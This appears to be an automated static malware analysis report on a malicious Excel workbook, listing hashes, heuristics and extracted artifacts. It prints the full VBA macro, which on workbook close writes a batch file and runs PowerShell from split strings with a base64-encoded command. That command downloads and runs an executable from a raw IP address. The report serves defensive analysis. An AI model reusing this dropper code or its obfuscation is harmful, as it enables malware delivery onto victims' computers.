Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7909f71c63b1d958…

MALICIOUS

Office (OOXML)

112.3 KB Created: 2021-08-19 14:03:52 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-11
MD5: 25bad0c795f55b9166b3c3c1ebf99960 SHA-1: 6a99d4e495a3f9428015589623931494b798c8a9 SHA-256: 7909f71c63b1d9585e5d51ef512e19526ad08020e14b33fd54d6819a0ef9a6a9
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Excel document containing VBA macros. The Workbook_BeforeClose subroutine contains obfuscated PowerShell commands that download a second-stage executable from '3.70.52.8/R1/Z/QPL_112075035102.exe' and execute it. The dangerous API name 'PowerShell' is reassembled from split string literals, indicating intentional obfuscation. The script also creates and executes a batch file named 'Hrvdaublmuwvtfxtzbowt.bat' to launch the PowerShell process.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2171 bytes
SHA-256: fbf42caff6e5e9f386a1ada6b08664ae830ebbe1abca82dbe4638536ab6a7d8e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim enc As String
enc = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBHAHIAagBjAHcAZQBmAGsAcQBnAGgAYgBtAGIAdwBiAC4AZQB4AGUAIgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMwAuADcAMAAuADUAMgAuADgALwBSADEALwBaAC8AUQBQAEwAXwAxADEAMgAwADcANQAwADAAMAAzADUAMQAxADAAMgAuAGUAeABlACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA="
call1 = "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"
ActiveWorkbook.Save
batch = "Hrvdaublmuwvtfxtzbowt.bat"
Open batch For Output As #1
    Print #1, "start /MIN C:\Windo" + "ws\SysWOW64\" + call1 + " -win 1 -enc " + enc
    Close #1
    i = Shell(batch, 0)
End Sub

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub


Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5632 bytes
SHA-256: d7a4971f7e04d1b634630f0c2880cad9800691ed08d6582df29b4679c1c87f52

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